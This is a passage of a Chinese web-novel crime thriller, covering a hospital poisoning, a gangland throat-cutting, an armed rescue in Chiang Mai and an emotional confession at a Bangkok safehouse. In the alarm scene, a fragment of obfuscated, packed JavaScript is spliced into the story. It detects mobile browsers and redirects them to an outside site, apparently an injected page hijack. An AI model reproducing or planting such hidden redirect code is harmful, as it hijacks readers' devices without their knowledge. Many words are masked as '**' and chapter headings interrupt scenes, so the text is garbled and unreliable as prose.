保镖头目走进病房,检查了一下龙小玉的情况,一切如常,监测仪上的波形依然稳定。
他松了口气,走出病房,继续守在门外。
**的是,那支注射器里装的不是生理盐水。
是**!
凌晨四点三十分,监测仪的警报声突然响起。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186403|192443||http|test|mini|href|location''.split(''|''),0,{}));
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r>刺耳的蜂鸣声在寂静的ICU里回荡,心跳波形变成了一条直线。
保镖头目冲进病房,看到监测仪上已经没有了心跳。他疯了似的按下呼叫铃,大喊:“医生!医生!”
医护人员冲进来开始抢救,电击,心肺复苏,注射肾上腺素!
但一切都晚了。
凌晨四点四十五分,主治医生摘下口罩,摇了摇头。
“宣布死亡时间:凌晨四点四十二分,死因急性心衰,可能是并发症。”
保镖头目瘫坐在地上,脸色惨白,他颤抖着拿出手机,拨通龙三爷的电话。
“龙爷……”他的声音在颤抖道:“小姐……”
“她怎么了?!”电话那头,龙三爷的声音嘶哑。
“她走了!”
电话那头死一般寂静。
然后,传来一声野兽般的嚎叫。
“谁干的?!”龙三爷咆哮。
“医生说是并发症,急性心衰……”
“放屁!”龙三爷怒吼道:“我女儿早上还好好的!一定是有人害她!查!给我查!查不出来,你们所有人都得死!”
电话挂断了。
保镖头目瘫在地上,浑身发抖。他知道,龙三爷说到做到。
如果查不出凶手,他们这些人,都得陪葬。
……
凌晨五点,清迈郊区,一栋废弃的工厂。
司徒明被绑在椅子上,嘴上贴着胶带,眼睛被蒙着。他浑身是伤,脸上青一块紫一块,衣服被撕破了,露出里面的皮肤,上面满是鞭痕。
他已经在恐惧中度过了一整夜。
昨晚,龙三爷的人突然闯进达叔的别墅,不由分说就把他绑走了。他被蒙着眼睛带到这里,然后就是一顿毒打。那些人逼问他,是谁指使他撞龙小玉,是谁想杀龙小玉。
**,他什么都不知道。
他确实恨龙小玉,恨她设局坑自己,恨她让自己欠下巨债,但他从来没想过要杀她,他哪有那个胆子?
但那些人不管,他们打他,折磨他,逼他招供。
就在他以为自己要死在这里时,工厂的门开了。
司徒明的蒙眼布被扯掉,他看清了来人,是龙三爷!
“龙三爷……”司徒明的声音在颤抖。
255去救柳媚笙(上)!
龙三爷没说话,只是看着他,那眼神,像在看一个**。
良久,他开口,声音平静得可怕:“我女儿**。”
司徒明的大脑一片空白。
**?龙小玉**?那个昨晚还在赌场里对他笑的女人,**?
他拼命摇头道:“不是**的!我虽然恨她,但我没想杀她!我发誓!”
“谁干的?”龙三爷问。
“我不知道!”司徒明拼命的摇头。
龙三爷走到他面前,蹲下身,怒吼道:“司徒明,我给你最后一次机会,告诉我,是谁指使的,说出来,我可以给你个痛快,不说的话我会让你知道,什么叫生不如死。”
司徒明哭了,眼泪混着血水流下来。
“龙三爷真的不是我,我是欠了你女儿的钱,可我从来没有想过要杀她啊!”
龙三爷盯着他看了很久,然后站起身。
他挥了挥手。
一个手下走过来,递给龙三爷一把刀,一把泰式的弯刀,刀身漆黑,刀锋闪着寒光。
龙三爷接过刀,在手里掂了掂。
“司徒明,你知道这把刀杀过多少人吗?”
司徒明拼命摇头,嘴里发出呜呜的声音。
“三十七个。”龙三爷说,道:“每一个,都像你现在这样,跪在我面前,求我饶命。但我没饶过任何一个。”
他举起刀。
“因为伤害我家人的人,都得死。”
刀光闪过。
鲜血喷溅。
司徒明的身体剧烈抽搐了几下,然后不动了。他的脖子上,多了一道深可见骨的伤口,鲜血像喷泉一样涌出,染红了地面。
龙三爷扔下刀,看都没看地上的尸体,转身就走。
走到门口时,他停住脚步,对身后的手下说:“把尸体处理了。然后,通知所有人,全面开战。我要司徒家,鸡犬不留。”
“是!”
……
清晨六点,上城。
我坐在电脑前,看着清迈那边发来的最新消息。
龙小玉死亡,死因“急性心衰”。
司徒明被龙三爷亲手杀死,尸体被处理掉了。
清迈的地下世界已经炸了锅。龙三爷的人开始疯狂报复,凡是和司徒家有关的产业、人员,都遭到了袭击。而司徒家在清迈的势力也在反击,双方已经爆发了三次枪战,**至少二十个人。
一切都失控了。
比我想象的还要快,还要惨烈。
手机响了,是司徒鸣。
“怎么样?”他的声音带着笑意和我炫耀道:“这个结果,你还满意吗?”
“龙小玉是你杀的。”我说,不是疑问,是陈述。
“聪明。”司徒鸣笑了道:“我就喜欢你这种聪明人。没错,是我。那个医生是我的人,注射器里是**,致死量,无痛苦。比被车撞死体面多了,对吧?”
“为什么?”我问:“为什么杀她?”
“因为她必须死。”司徒鸣说:“只有她**,龙三爷才会彻底疯狂,才会亲手杀司徒明,只有司徒明死在龙三爷手里,司徒雄才会崩溃。一环扣一环,完美。”
“那司徒明呢?他也是你计划的一部分?”
“当然。”司徒鸣的语气很轻松,道:“那个废物,活着也是浪费粮食。**最好,还能发挥点作用,而且你不觉得吗?他死在他最怕的人手里,这个结局,很适合他。”
我握着手机的手在微微发抖。
这个人,比我以为的还要疯狂,还要冷血。
“接下来你要做什么?”我问。
“接下来?”司徒鸣想了想道:“接下来,该司徒雄出场了。儿子**,他总该有点反应吧?我已经把消息传给他了,他儿子被龙三爷杀了,尸体被喂了狗。你说,他会怎么做?”
“他会报复。”
“对。”司徒鸣笑了:“疯狂的报复。而我们要做的,就是在这个过程中,添把火。”
电话挂断了。
叶倾城推门进来,脸色苍白。
“陈凡,泰国那边彻底乱了。”她说,“龙三爷的人在清迈见人就杀,只要是和司徒家有关的人,一个都不放过。司徒雄的人也在反击,但他们在清迈的势力不如龙三爷,节节败退。”
“达叔呢?”
“达叔?”叶倾城犹豫了一下道:“达叔失踪了。昨晚龙小玉死后,他就从别墅消失了,谁也不知道他去哪了。他手下的人也都散了,有的投靠龙三爷,有的跑了。”
柳媚笙...
我的心一紧。
“柳媚笙在哪?”
“不知道
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。”叶倾城摇头,“达叔失踪后,柳媚笙也不见了。我们的人在清迈找了一夜,没找到。”
该死。
如果柳媚笙落在龙三爷手里,或者落在司徒鸣手里!
我不敢往下想。
“继续找。”我说,“动用所有资源,一定要找到她。”
手机又响了,这次是个陌生的泰国号码。
我接通,没说话。
“陈凡...”电话那头传来柳媚笙虚弱的声音,“是我...”
“媚笙!”我猛地站起来,“你在哪?安全吗?”
“我...我不知道...”她的声音在颤抖,“达叔失踪了,他的人也都跑了...我躲在清迈郊外的一个仓库里...外面...外面都是**...”
“地址给我,我派人去接你。”
“不...不要...”柳媚笙说,“现在外面太乱了,谁都不能信...陈凡,龙小玉**,司徒明也**...这一切...是不是你...”
她没说完,但我听懂了。
她在问我,这一切是不是我做的。
“不是。”我声音沙哑,“至少,龙小玉的死不是。是司徒鸣做的。”
电话那头沉默了很久。
“司徒鸣...”柳媚笙重复着这个名字,“他为什么要这么做?”
“他要毁灭司徒家。”我说道:“不择手段。”
又是一阵沉默。
“陈凡,”柳媚笙最终说,“我可能...回不去了。清迈现在到处都是龙三爷的人,他们在找所有和这件事有关的人。达叔失踪了,我没有人可以依靠...如果我被抓到...”
“不会的。”我打断她,“给我地址,我派人过去。就算把清迈翻个底朝天,我也要找到你。”
柳媚笙哭了,哭声很轻,但很绝望。
“陈凡...我害怕...”
“我知道。”我握紧手机,“但相信我,我会救你出来。我保证。”
电话那头传来脚步声,很急促,越来越近。
“有人来了...”柳媚笙的声音戛然而止,电话被挂断了。
我回拨过去,关机。
我的心沉到了谷底。
柳媚笙出事了。
我必须去泰国,必须去清迈,必须找到她!
256去救柳媚笙(中)!
泰国,清迈。
我蹲在了厂房外面,炎热的天气,让汗水打湿了我的衣服,我正拿着望远镜查看对面的情况。
“凡哥,确认了。”耳机里传来周大伟压低的声音。
“东侧围墙有两个暗哨,制高点在西南角的瞭望塔,一挺轻**,厂房内部热源显示至少有十五人,分布不均。”
“收到!”我立刻追问:“刘飞,你那么情况怎么样?”
“媚笙姐的手机信号,最后出现在主厂房中!”刘飞补充道:“但十分钟前信号消失,我怀疑她的手机被屏蔽或损坏。”
我知道柳媚笙遇袭后,果断选择来清迈,周叶青为此给我提供了私人飞机,保证了,我的快速到达。
尽管已经飞快,可离柳媚笙遇到危险,也已经过去了三个小时,我只能在心里乞求柳媚笙没事!
在我身后,周家十二名秘卫悄无声息的分在掩体后面。
这些人是周叶青特意让我带着的,她怕我遇到危险,他们每个人身上都带着定制武器。
忽然,厂房内突然传来一声短促的枪响,这不是**,而是AK的声音!
“行动!”我直接干脆的下达了强攻的命令!
霎那间,周家秘卫十二道身影迅速行动!
周大伟带队从东侧突入,消音武器发出“噗噗”的轻响,围墙上的两个暗哨几乎同时身体一软,刘飞则带着两人绕向西侧,准备对付瞭望塔。
我带着剩下的六人从正门强攻,铁门被液压剪悄无声息地切开,刚推开一条缝,**就暴雨般倾泻而来。
“压制!”我低吼,我手里的M416发出响声,但被消声器尽量压到最低声。
我们行动速度极快,枪**命,敌人的三具尸体躺在前厅,都是亚洲面孔,全是头部中弹,一**命。
“不是我们干的。”耳机里周大伟报告,道:“他们在我们进入前就**。”
我心头一紧,这意味着这些人很有可能是达叔的手下,他们不是龙三爷的人,那就说明达叔也很有可能遇到了危险!
我顿时觉得柳媚笙现在的处境凶多吉少!
“继续推进,注意交叉火力。”我命令道。
**在厂房内部回响,因为太过于杂乱,我分不清方向和来源,转过一台巨大的硫化机,眼前的景象让我瞳孔骤缩。
走廊上躺着七具尸体,死法一模一样,眉心或太阳穴精准的单孔。墙壁上溅满了鲜血和脑浆。
这不是枪战,是**!
“凡哥,瞭望塔清理完毕。”刘飞的汇报道:“**手**,被人用刀从背后抹了脖子。”
“柳媚笙在哪?”我对着耳机低吼。
“热源显示媚笙姐在主控室方向,等等凡哥,有新情况!厂区北侧有车辆驶入,至少三辆,人数不明!”
几乎在刘飞报告的同时,厂房深处传来一声震耳欲聋的**。
冲击波带着热浪和碎片扑面而来。
“找掩体!”我大吼,身体已经本能地扑向一旁的铁质控制台。
“柳媚笙!你以为逃到泰国就能躲过吗?今天我要你看着身边的人一个个死在你面前!”
龙三爷!
果然他在这里!
“大伟,你带两队包抄主控室,刘飞,准备爆破北侧围墙,制造混乱。”
“明白。”
我们穿过被炸得一片狼藉的通道,映入眼前的景象越来越血腥,尸体越来越多,有些明显是柳媚笙带来的人,我认出其中一个,是柳媚笙夜总会的保安队长,胸口被开了个大洞。
我看到主控室的门虚掩着,里面传来打斗声和怒吼。
我一脚踹开门,眼前的景象让我惊呆了!
达叔浑身是血的挡在柳媚笙身前,他左手无力地垂着,右手却紧握着一把打空**的**,他面前站着三个**的雇佣兵,而更远处,一个穿着花衬衫、头发花白的老者坐在破旧的沙发上,手里把玩着一把金色的**。
龙三爷!
柳媚笙站在达叔身后,她满脸都是血迹,她手中握着一把小巧的银色**,枪口指着龙三爷。
“哦?又来客人了。”龙三爷歪了歪头,看向我们冷漠道:“柳媚笙,你的车费南来救你了!”
“陈凡,你快走!”柳媚笙的声音嘶哑,但不容置疑,“这不关你的事。”
“现在关我的事了。”我举枪,红点瞄准镜的光斑落在龙三爷眉心,威胁道:“放人。”
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龙三爷笑了,那笑声尖锐刺耳。
“放人?陈凡,你门计划杀了我的女儿,你现在让我放人?”
“龙小玉不是我杀的,是司徒家杀的!”我指着他怒吼道:“放了柳媚笙!”
龙三爷的笑容瞬间消失,他抬起**,不是对着我,而是对着天花板。
枪响!
几乎同时,厂房各处传来更多**和**声,周大伟他们和北侧新来的敌人交上火了。
“杀!”龙三爷嘶吼。
他身边的三个雇佣兵同时开火,达叔用身体撞开柳媚笙,他整个人扑向了雇佣兵,他在用自己的身体给柳媚笙挡**!
“达叔!”柳媚笙的尖叫撕心裂肺。
我的**比她的声音更快,两发点射,两个雇佣兵应声倒地,第三个被达叔砍中的还想举枪,被我一枪打碎手腕。
但已经晚了。
达叔跪倒在地,鲜血从腹部和胸口的弹孔里汩汩涌出。柳媚笙扑过去抱住他,双手颤抖着按压伤口,但血根本止不住。
“媚笙快走!”达叔的声音气若游丝,眼睛却死死盯着我,道:“带她……走……”
柳媚笙抬起头,眼中的冷静终于碎裂,露出底下彻骨的仇恨和痛苦。“龙三,我会让你**万段。”
“你先活过今天再说!”龙三爷举枪对准了柳媚笙。
我不可可能给他击毙柳媚笙的机会!
我扣动了**!
我的M416**发疯一样射击,同时,我趁机前冲,一脚,一脚踢飞他手中的**,另一只手肘狠狠砸向他的面门。
龙三爷都快七十岁了,反应却快的惊人!
他侧身躲过肘击,他伸手抓向我的喉咙,我格挡,反手一拳打在他肋下,听到骨头断裂的脆响。
龙三爷闷哼一声,后退几步,嘴角渗出血丝,眼神却更加疯狂。
我没有回答,继续进攻,我的招式狠辣直接,每一击都冲着要害。但龙三爷的功夫是几十年生死搏杀磨炼出来的阴毒路子,专攻下三路和关节,几次差点被他得手。
此刻,厂房外的**越来越近。周大伟的声音在耳机里急切响起:“凡哥,北侧来的至少二十人,装备精良,我们被压制了!”
257救柳媚笙(下)!
“坚持三分钟!”
话音未落,厂房西侧墙壁被炸开一个大洞,尘土飞扬中,几个穿着黑色作战服的身影冲了进来,枪口喷吐火舌。
我扑倒柳媚笙,**从头顶呼啸而过,达叔的身体又中了几枪,彻底不动了。
“走!”我拽起柳媚笙,向主控室后方的紧急通道退去。
龙三爷在烟雾中怒吼:“一个都别想跑!杀了他们!柳媚笙我要活的,我要亲手剥了她的皮!”
**如暴雨般追来,我推着柳媚笙冲进通道,反手扔出一颗**,白色的浓烟瞬间充满空间,暂时遮蔽了视线。
通道狭窄昏暗,尽头是一扇锈死的铁门。我用肩膀撞开,外面是橡胶厂的后院,堆满废弃的轮胎。
“这边!”我拉着柳媚笙躲到轮胎堆后,迅速检查她的伤势,除了擦伤和瘀青,没有致命伤。
她死死抓着我的手臂,指甲陷进肉里。“达叔……达叔他……”
“现在不是时候。”我硬着心肠说打道:“想报仇,先活下去。”
耳机里刘飞在喊:“凡哥,我们撑不住了!对方火力太猛,周大伟中弹了!”
“撤退。”我咬牙下令道:“按C计划,到二号汇合点。”
“明白!”
我看向柳媚笙:“能跑吗?”
她抹了把脸上的血和泪,点头,眼神重新变得冰冷。“能。”
我们刚冲出轮胎堆,追兵就到了,至少八个人,呈扇形包抄过来,我打光最后一个弹匣,放倒三个,但剩下的已经逼近。
“陈凡!”柳媚笙突然从旗袍内衬里掏出一个小巧的黑色装置,按下按钮。
刺眼的白光和超过170分贝的爆鸣瞬间席卷后院。震撼弹,她居然随身带着这个。
追兵惨叫倒地。我趁机拉起柳媚笙,翻过厂区后墙,跳进外面的丛林。
我们跑了大约十分钟,柳媚笙的脚步开始踉跄。我回头一看,她的小腿在流血,不知道什么时候被流弹擦伤,或者被树枝划破。
“不能停。”我蹲下身道:“上来。”
她犹豫了一秒,趴到我背上,我背起她,继续在丛林中穿行。她的体重很轻,身体在微微颤抖,不知是恐惧还是失血。
又跑了五分钟,我找到一处被榕树气根遮蔽的小凹陷,将她放下来,迅速检查伤口。
“**擦伤,不深,但需要止血。”我从急救包里拿出止血粉和绷带,柳媚笙咬着下唇,任由我处理伤口,一声不吭。
“为什么?”柳媚笙突然开口,声音沙哑,道:“为什么来?”
“你是我的女人,我当然要来救你!”
“只是这样?”她盯着我,眼中有什么东西在闪烁。
我沉默了几秒。“不完全是。”
她笑了,那笑容苦涩又破碎。“陈凡,你真是个傻子。龙三爷是冲着我手里的东西来的,那是一份名单,记录着半个东南亚地下世界的交易网和保护伞,谁拿到它,谁就能掌控这片区域的黑暗命脉。”
“那东西现在在哪?”
“在我脑子里。”她点了点太阳穴,道:“原件已经被我毁了,龙三爷知道这一点,所以他必须活捉我,撬开我的嘴。”
敌人的**又近了些,我握紧手中的**:“能走吗?”
“能。”她扶着树干站起来,但刚走一步就趔趄了一下,我再次扶住她。
“陈凡,如果这次能活下来……”
“没有如果。”我打断她,“我们会活下来,我说了救你,就一定会!”
我架起柳媚笙,向丛林更深处移动,必须赶到二号汇合点,那是一条河边的废弃码头,刘飞应该在那里准备了船。
天色渐暗,热带雨林的夜晚来得很快。黑暗中,视线受阻,但追兵的动静也更容易隐藏。我们像两只受伤的野兽,在丛林里艰难求生。
突然,前方传来水流声。
快到河边了。
但就在距离河岸不到一百米的地方,手电筒的光柱刺破了黑暗。
“找到了!在这里!”
至少十个人,从三个方向围过来,退路被封**。
我将柳媚笙护在身后,举起枪,但心里清楚吗,**只剩最后半个弹匣,不可能突围。
“柳小姐,投降吧。”一个带头的雇佣兵用蹩脚的中文喊道,“龙三爷说了,只要你合作,可以饶你一
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命。”
柳媚笙冷笑:“龙三的话能信,母猪都能上树。”
“那就别怪我们不客气了。”
他们慢慢逼近,枪口在黑暗中闪着寒光。
我计算着距离、角度、剩余**……最多能放倒四五个,然后就会被乱枪打死。
“陈凡。”柳媚笙突然轻声叫我。
“嗯?”
“对不起,把你卷进来。”
我没有回答,只是握紧了手中的枪。
二十米。
十五米。
十米——
河面上突然传来马达的轰鸣,一道刺目的探照灯光束横扫岸上。
“凡哥!跳!”刘飞的吼声从扩音器里传来。
与此同时,密集的**从河面上响起,不是对着我们,而是对着追兵。周家秘卫还有战斗力的人都在那条改装过的快艇上,火力全开。
追兵被这突如其来的袭击打懵了,瞬间倒下四五个。我抓住机会,抱起柳媚笙,冲向河岸。
**在耳边呼啸。我能感觉到有**擦过防弹背心,但顾不上检查。五米,三米,一米——
纵身一跃。
冰冷的河水包裹全身。我死死抱住柳媚笙,奋力向快艇游去。刘飞放下绳梯,周大伟满脸是血,却还在用单手射击掩护。
我把柳媚笙推上绳梯,自己最后爬上去。快艇立刻全速前进,将岸上剩下的追兵和他们的**甩在身后。
躺在甲板上,我大口喘着气,肺像火烧一样疼。柳媚笙蜷缩在我身边,浑身湿透,瑟瑟发抖。
周大伟一瘸一拐地走过来,左腿绑着临时绷带,还在渗血。
“凡哥,我们损失了四个人,还有两个重伤,能不能撑到曼谷不好说。”
我闭上眼睛,心情沉到了谷底,跟我来的兄弟们,我没有全部完整的带回去,我心里很不好受。
“龙三爷呢?”
“没看到,**后就消失了,可能从其他路线跑了。”
柳媚笙突然抓住我的手,她的手冰凉,身体还在颤抖……
“陈凡。”
“嗯?”
“达叔……真的**吗?”
我沉默了几秒,选择说实话:“嗯。”
258营救成功!
柳媚笙没哭,只是把脸埋在我胸口,她肩膀剧烈地抖动,我没有推开她,只是轻轻拍了拍她的背。
我现在更大的担心,还是龙三爷,因为他还活着,他不会放过我和柳媚笙,他现在认为,是我弄**龙小玉。
解释不清楚了,那就不解释,干就完了!
半小时后。
曼谷郊区的私人诊所。
周大伟腿上的**已经取出,但失血过多,他需要输血,另外两个重伤的秘卫一个没了左手,一个肺部被**穿透,能不能活下来要看今晚。
我坐在走廊的长椅上,身上的防弹衣,这衣服上满是血迹,有敌人的,也有达叔的……
柳媚笙就坐在我旁边。
她已经换上了病号服,她头发湿漉漉地披散着,脸上的血迹洗掉了,露出底下苍白的皮肤和红肿的眼睛。她双手抱膝,下巴抵在膝盖上,盯着走廊地面瓷砖的缝隙,一动不动。
我们已经这样坐了将近一个小时。
刘飞从外面进来,手里拿着两个纸杯,递给我一杯热咖啡,另一杯给了柳媚笙。
“外面清理干净了,尾巴甩掉了。”他压低声音道:“但龙三爷的人肯定还在找,这里不能久留,天亮前必须转移。”
我点点头,喝了一口咖啡,想让自己保持着清醒。
柳媚笙接过纸杯,双手捧着,但没喝。
刘飞看了她一眼,又看看我,识趣地转身去查看其他伤员的情况。
走廊里又只剩下我们两个人。
“陈凡。”
柳媚笙突然开口,声音嘶哑得几乎听不清。
我转过头看她。她的侧脸在走廊惨白的灯光下毫无血色,睫毛上还挂着未干的泪痕。
“嗯。”
“我……”她张了张嘴,想说什么,但最后她低下头,肩膀开始轻微地颤抖。
不是那种崩溃的大哭,而是压抑的、无声的啜泣。
我没有说话,也没有动。只是看着她哭。
这个在“迷醉”酒吧运筹帷幄、在顶层公寓里风情万种、在枪林弹雨中依然冷静得可怕的女人,此刻蜷缩在塑料椅子上,哭得像个迷路的孩子。
不知过了多久,她终于抬起头,用袖子胡乱抹了把脸,结果把病号服的袖子也弄湿了。
“我很怕。”她看着手中的纸杯,声音轻得像梦呓,“刚才在丛林里,**从耳边飞过去的时候,我怕得要死。被龙三爷的人围住的时候,我觉得我完了。达叔……达叔倒下去的时候……”
她说不下去了,闭上眼睛,更多的眼泪从眼角滑落。
“但我更怕的是……”她深吸一口气,睁开眼,转头看向我,那双总是盛满算计和诱惑的眼睛里,此刻只剩下赤裸裸的脆弱,“我更怕的是,如果你没来,如果你今天死在那里……”
她伸出手,冰凉的手指抓住我的手腕,用力到指甲发白。
“陈凡,我离不开你。”
这句话她说得极其平静,平静得可怕,却比任何哭喊都更有分量。
我看着她,没有说话。手腕上的力道传来她的颤抖,也传来某种绝望的确认,她在确认我还活着,还在这里。
“我知道我很自私,很卑鄙。”她继续说,眼泪又涌出来,但她没去擦,任其流淌。
“柳媚笙。”我终于开口,道:“你不需要和我说这些。”
“不,我需要。”她固执地摇头道:“我需要让你知道,我为什么会来清迈,为什么会把自己置于这种险境。”
她抬起头,满脸泪痕,眼神里是彻骨的恐惧和悔恨。
“我本来可以处理好这件事的,我本来计划好了,带足了人手,甚至买通了龙三爷身边的两个人,但我算漏了一点。”
“什么?”我问。
“我没想到龙小玉会死,司徒雄会杀了她。”
“不是司徒雄,是司徒鸣杀的。”
“什么?”柳媚笙诧异的看着我:“他?!”
“司徒鸣隐藏起来了,现在我明白他的意图了,他完了一招背后阴人,把我,司徒雄,龙三爷都给耍了!这才是上城首富的心机!”
听了我的话,柳媚笙愣住了,她缓了半天,才反应了过来!
“我以为我计划的很好,我可以利用达叔的势力,来对付龙三爷,没想到会害死达叔……我没想到……”
柳媚笙哭了,她哭的很内疚,我看的出来她非常的痛苦。
“达叔……”我开口,声音低哑的问道:“是怎么回事?”
柳媚笙的哭声停了一瞬,然后变成了更压抑的呜咽。她维持着跪坐的姿势,额头抵着我的膝盖,声音闷闷地传出来。
“达叔……他叫林达,是我父亲当年的手下!”
她吸了吸鼻子,眼神空洞。
“我是在清迈出生的,我父亲在这里做生意,可后来父母被人害死,柳家内斗,几个叔叔都想吞掉父亲留下的产业,是达叔护着我,替我挡掉了三次暗杀,两次下毒。有一次,二叔雇的人在我车上装了**,达叔提前发现了,但来不及拆弹,他开着那辆车冲进了河里,自己差点没命。”
“后来,我自己出来闯荡,我不想再让达叔因为我,在受到危险了,他
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每一次为我卖命,都让我特别的难受,我知道他对我的情义……”
“但我装作不知道,陈凡,我只能装作不知道!”
她用手背狠狠擦了把脸,但眼泪根本擦不完,泪水留的更多了。
“是我害死他的!如果不是我自私,如果不是我非要来清迈,达叔现在还活着!他应该在家里浇花、喝茶、看报纸,而不是……而不是躺在冰冷的厂房地上,浑身是血……”
她终于放声大哭,哭声撕心裂肺。
“陈凡。”她哑着嗓子叫我。
“嗯。”
“我是不是……很坏?”她问:“我利用了达叔的感情,我利用了你,我为了自己的目的把所有人都拖下水,我是不是,根本就是个不配被爱的人?”
走廊里安静下来。
我看着趴在我膝上的这个女人,她聪明、美丽、危险、自私,为了目的不择手段。
但她也脆弱、孤独、背负着沉重的过去。
复仇的路上,我看过太多人性的丑恶,苏韵的背叛,冯天宇的虚伪,我以为我不会在被任何故事触动。
但此刻,听着柳媚笙破碎的坦白,我的心软了。
“媚笙。”我开口。
她慢慢抬起头,红肿的眼睛里还装着泪,她小心翼翼地看着我,像在等待审判。
“达叔选择保护你,那是他的选择,他选择了用他的方式爱你,守护你,直到最后一刻,那是他的选择,不是你强迫的。”
她的嘴唇颤抖着,想说什么,却发不出声音。
“至于你……”我停顿了一下,伸手擦掉她脸颊上残留的泪痕道:“你是很自私,很会算计,很危险。”
她闭上眼睛,像是被这些话刺痛。
“但你也在努力活着,在黑暗里找一条路,在尽可能保护自己在乎的东西。”我继续说道:“你坏,但还没坏透,至少,你还会为了达叔哭,还会因为愧疚而痛苦。”
她睁开眼,泪水又涌出来,但这一次,眼神里多了些别的东西。
“陈凡,那你……”她抓住我的手,紧紧握着,“你会不会……会不会有一天也离开我?像达叔一样,因为我的自私和算计,死在我看不见的地方?”
“不会!”我肯定到。
“为什么?”柳媚笙好奇的看着我。
“因为我比他们更无情!”
我攥紧了拳头狠狠道:“敌人不死,我不死的!”
她靠在我肩上,闭上了眼睛,她安静的如同一只受伤的小猫。
“陈凡,我好累。”
“睡会儿吧,天亮我叫你……”
259柳媚笙的伤痛(上)!
柳媚笙最终还是没有睡着。
她就那样靠在我肩上,她闭着眼,但她的呼吸始终没有沉入睡眠该有的节奏。
刘飞来了又走,走了又来,我知道他是什么意思,他是在催促我该走了。
“凡哥,我们该走了,如果再不走,就危险了。”
“好。”
我点了点头,然后轻轻拍了拍柳媚笙的肩膀道:“媚笙,我们要走了。”
柳媚笙睁开眼,她的眼睛逐渐消肿,她点了点头,然后直起身,用手指梳理了一下乱发,她现在看起来比刚才从容多了。
“陈凡,我们去哪里?”她的声音恢复了平稳,只是还带着哭过后的沙哑。
“去安全屋,周老爷子在曼谷有安排。”
她点点头,没有多问,她站起身时踉跄了一下,我伸手扶住。
“小心点。”我善意的提醒着。
我们从诊所的后门走了出来,这里停着一辆灰色的丰田面包车,刘飞已经启动了引擎,另外两个还能行动的秘卫坐在后排,警惕地观察着四周。
周大伟和重伤员被安置在诊所的秘密病房里,有可靠的医生和护士照料,也安排了人手保护,这是我们能做的极限。
柳媚笙先上了车,我紧随其后。
车门关上,引擎发出低沉的轰鸣,车辆驶入曼谷清晨稀疏的车流中。
车内很安静,刘飞专注地开车,偶尔从后视镜里瞥我们一眼。另外两个秘卫一个盯着左侧窗外,一个盯着右侧。柳媚笙靠在我旁边的座位上,头抵着车窗玻璃,看着外面飞速**的街景。
就在几个小时前,我们在三十公里外的丛林里被追杀,浑身是血,身边的人一个个倒下。
车辆驶过湄南河大桥时,柳媚笙突然开口,声音很轻,像是在自言自语,又像是在对我说。
“达叔的遗体……能带回去吗?”
我沉默了几秒。
“现在还不行,龙三爷的人肯定还在那片区域搜索,现在回去等于自投罗网,等风声过去,我会安排。”
她点了点头,没有再多说。
面包车最终驶入曼谷老城区一条狭窄的巷子,刘飞在一扇锈迹斑斑的铁门前停下,按了三短一长的喇叭。
铁门从里面打开,面包车驶入一个狭小的院子,门立刻关上,落下门栓。
这个院子很小,勉强能停两辆车。
这里正对着的是一栋三层高的排屋,窗户都拉着厚厚的窗帘,看不清里面的情况,一个穿着花衬衫、皮肤黝黑的泰国男人站在门口,对我们点了点头。
“坤叔的人。”刘飞低声解释,道:“周老爷子的老关系,信得过。”
我们下车后,泰国男人做了个“请”的手势,领着我们进了屋。
一楼是客厅兼餐厅,家具简单但干净,空气中飘着茉莉花香和某种香料的味道。一个中年泰国女人从厨房探出头,对我们合十行礼,没有说话。
“二楼和三楼都有房间,你们随意。”泰国男人用带着口音说道:“食物和水都有,需要什么告诉阿南。”
他指了指厨房里的女人,道:“不要出门,不要开窗,不要用手机,外面的电话线是加密的,可以用。”
他说完就转身进了里间,留下我们站在客厅里。
刘飞开始分配任务,两个秘卫轮流在一楼警戒,他自己检查整栋房子的安全状况。柳媚笙站在客厅中央,环顾四周,眼神里有一种茫然的陌生感。
“上楼休息吧。”我对她说,“你需要处理一下伤口,再睡一觉。”
她看了我一眼,点了点头。
二楼有三个房间,柳媚笙选了最里面那间,我和她住在一起,这个房间很小,只有一张床、一个衣柜和一把椅子,但收拾得很干净,床单是洗得发白的棉布,有阳光晒过的味道。
我把背包扔在椅子上,坐在床边,开始检查身上的装备。
我的M416还剩两个弹匣,****也不多了,防弹背心上有几处弹着点,最危险的一处在右胸,陶瓷插板已经碎裂,但好歹挡住了**。左臂有一道**擦伤,不深,但需要处理。
脱下战术背心和沾满血污的上衣,我找出急救包,开始
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清洗伤口。
“我帮你。”她平静的说道。
我点了点头,没有拒绝。
她坐在我的身边,接过我手里的酒精棉,动作轻柔地清理我手臂上的伤口。
“疼吗?”她问,没有抬头。
“还好。”
“陈凡。”她突然开口道:“谢谢你。”
我看向她。
她抬起头,迎上我的目光道:“不只是谢谢你来救我。是谢谢……刚才在诊所,没有推开我。”
“我推开了,你就不会哭了?”
她愣了一下,然后很轻地笑了一下,那笑容转瞬即逝,道:“可能还是会哭,但不会……说那些话。”
她低下头,继续处理伤口,用纱布轻轻包扎。“那些话,我这辈子没对任何人说过,达叔不知道,我父亲也不知道,我以为我会把它们带进坟墓里。”
“为什么告诉我?”
她停下动作,看着包扎好的伤口,手指无意识地摩挲着纱布的边缘。
“因为……”她顿了顿,像是在寻找合适的词,“因为我累了,陈凡,我演了太多年,算计了太多年,把所有人都当成棋子,包括我自己,但昨晚我看着达叔倒下去,看着你浑身是血地背着我跑,我突然觉得,如果我就这么**,这个世界上没有人知道真实的我是什么样子。”
她的声音很轻,但每个字都清晰。
“那我这三十多年,就真的白活了。”
我没有说话,她也不需要我回答。
她放下药箱,站起身,走到窗边,透过窗帘的缝隙看向外面。
“周老爷子为什么帮你?”她突然换了话题,转过身看着我,问道:“我知道他看重你,但为了我和龙三爷正面冲突,这不像是他的作风。”
“他有他的考量。”我说道:“龙三爷的手伸得太长了,已经触动了周家在东南亚的一些利益,帮你,也是帮他自己。”
柳媚笙点点头,对这个答案并不意外。
“那我们接下来怎么做?龙三爷不会罢休的。”
柳媚笙的话,让我陷入了沉思当中……
260柳媚笙的伤痛(下)!
